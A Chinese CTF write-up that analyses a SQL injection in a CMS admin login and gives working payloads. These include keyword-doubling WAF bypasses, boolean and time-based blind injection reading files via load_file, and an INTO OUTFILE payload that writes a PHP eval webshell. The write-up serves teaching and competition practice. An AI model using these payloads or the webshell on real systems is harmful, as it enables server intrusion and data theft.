前段时间,参加一次CTF线下攻防赛,用的是某cms,里面有一个SQL注入漏洞,挺有意思,记录一下分析心得。
系统后台登陆处存在SQL注入,在后台登陆用户名处加个’测试一下:
发现报错,十有八九存在SQL注入
看下/admin/login.php内容:
在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),跟进check_login()看下:
在fun.php的971行可以看到SQL语句对user参数进行了拼接,猜测fl_value()和fl_html()是对user进行过滤,跟进分别看下:
在fun.php的1755行,fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空。SQL绕过方法,双写绕WAF fl_value,不过这个waf够奇葩,有的关键字是没有空格的,比如“select”,有的关键字前后需要加空格,比如“ in ”,最终的绕过方法:
select=>selecselectt
from=>fro from m
where=>wher where e
union=>unio union n
load_file不变
outfile=>outfiloutfilee
这里再说下fl_html(),即htmlspecialchars(),这个函数主要进行html实体编码,用来防止XSS:
&(和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
需要注意的是,htmlspecialchars()默认仅编码双引号,并不对单引号进行处理
htmlspecialchars(string,flags,character-set,double_encode)
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
这也就是为什么加了单引号会直接报错的原因。有了SQL注入,如何拿flag?
1. 思路一:load_file()
尝试利用select load_file()读取flag,不过系统开启了本secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()文件导入导出的路径
ure_file_priv的值为null ,表示限制mysqld 不允许导入,导出
secure_file_priv的值为/var/lib/mysql-files/ ,表示限制mysqld 的导入|导出只能发生在/var/lib/mysql-files/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入,导出做限制。
假设此处secure_file_priv为空,我们改怎么利用sql注入读取flag,我在/var/lib/mysql-files/创建了一个flag进行测试。
盲注
user=admin' an and d 1%23&password=aaa&code=8bae&submit=true&submit.x=36&submit.y=27
返回密码不正确
user=admin' an and d 0%23&password=aaa&code=8bae&submit=true&submit.x=36&submit.y=27
返回不存在该管理用户
Ok,返回不同的页面,我们可以根据不同的页面进行猜测,就是盲注,首先才flag长度,Payload:
user=admin' an and d (length(load_file('/var/lib/mysql-files/flag')) between 11 a and nd 11)%23&password=aaa&code=ed1f&submit=true&submit.x=36&submit.y=27
为什么用between 11 a and nd 11?因为=被fl_value过滤, >
( load_file('/var/lib/mysql-files/flag') =11)
Hex编码为:
0x28206c6f61645f66696c6528272f7661722f6c69622f6d7973716c2d66696c65732f666c61672729203d313129
Payload:
user=admin' an and d 0x28206c6f61645f66696c6528272f7661722f6c69622f6d7973716c2d66696c65732f666c61672729203d313129%23&password=aaa&code=f6ad&submit=true&submit.x=36&submit.y=27
Flag长度为11,在进行逐个猜解即可:
user=admin' an and d (ord(substr((load_file('/var/lib/mysql-files/flag')),1,1)) between 0x66 a and nd 0x66)%23&password=aaa&code=7a75&submit=true&submit.x=36&submit.y=27
也可以利用时间盲注,payload:
user=admin' an and d if((ord(substr((load_file('/var/lib/mysql-files/flag')),1,1)) between 0x67 a and nd
0x67),1,sleep(5))%23&password=aaa&code=3d8b&submit=true&submit.x=36&submit.y=27
还是假设secure-file-priv为空,我们改怎么利用sql注入写shell:
user=admin' un union ion selecselectt 1,2,3,4,'<?php @eval($_POST[c]);?>' i into nto ououtfiletfile '/var/lib/mysql-files/test1.php'#&password=ss&code=c4a3&submit=true&submit.x=62&submit.y=20
这个payload中的<>会被fl_html()编码,怎么绕过?16进制编码
user=admin' un union ion selecselectt
1,2,3,4,0x3c3f70687020406576616c28245f504f53545b635d293b3f3e i into nto ououtfiletfile '/var/lib/mysql-files/test2.php'#&password=ss&code=7318&submit=true&submit.x=62&submit.y=20
此时我们在/var/lib/mysql-files/写入了test2.php这个一句话木马:
至此,就可以通过webshell拿到服务器web权限。